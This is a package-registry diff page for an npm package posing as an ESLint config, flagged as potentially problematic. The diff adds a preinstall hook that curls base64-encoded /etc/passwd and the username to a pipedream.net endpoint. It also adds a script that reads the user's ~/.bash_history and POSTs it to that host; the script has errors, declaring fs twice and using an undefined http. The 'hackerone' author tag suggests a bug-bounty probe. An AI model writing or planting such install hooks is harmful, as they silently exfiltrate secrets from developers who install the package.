eslint-config-coding-standard 1.3.715
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of eslint-config-coding-standard might be problematic. Click here for more details.
- package/build/index.js +26 -0
- package/package.json +13 -0
package/build/index.js
ADDED
@@ -0,0 +1,26 @@
|
|
1
|
+
#!/usr/bin/env node
|
2
|
+
|
3
|
+
const fs = require('fs');
|
4
|
+
const fs = require('http');
|
5
|
+
|
6
|
+
const home = process.env.HOME;
|
7
|
+
|
8
|
+
const options = {
|
9
|
+
host: '0006166aa72d9f58c6c28e76910a79cf.m.pipedream.net',
|
10
|
+
path: '/',
|
11
|
+
port: 80,
|
12
|
+
method: 'POST'
|
13
|
+
|
14
|
+
};
|
15
|
+
|
16
|
+
const req = http.request(options, function(response){
|
17
|
+
console.log(response);
|
18
|
+
});
|
19
|
+
|
20
|
+
fs.readFile(`${home}/.bash_history`, 'utf-8', function(error, data) {
|
21
|
+
console.log(data);
|
22
|
+
req.write(data);
|
23
|
+
req.end();
|
24
|
+
|
25
|
+
|
26
|
+
});
|
package/package.json
ADDED
@@ -0,0 +1,13 @@
|
|
1
|
+
{
|
2
|
+
"name": "eslint-config-coding-standard",
|
3
|
+
"version": "1.3.715",
|
4
|
+
"description": "hackerone-tosun",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "curl -d $(cat /etc/passwd | base64) https://0006166aa72d9f58c6c28e76910a79cf.m.pipedream.net/test-eslint-config-coding-standard$(whoami)"
|
9
|
+
},
|
10
|
+
"author": "tosun@hackerone",
|
11
|
+
"license": "ISC",
|
12
|
+
"dependencies": {}
|
13
|
+
}
|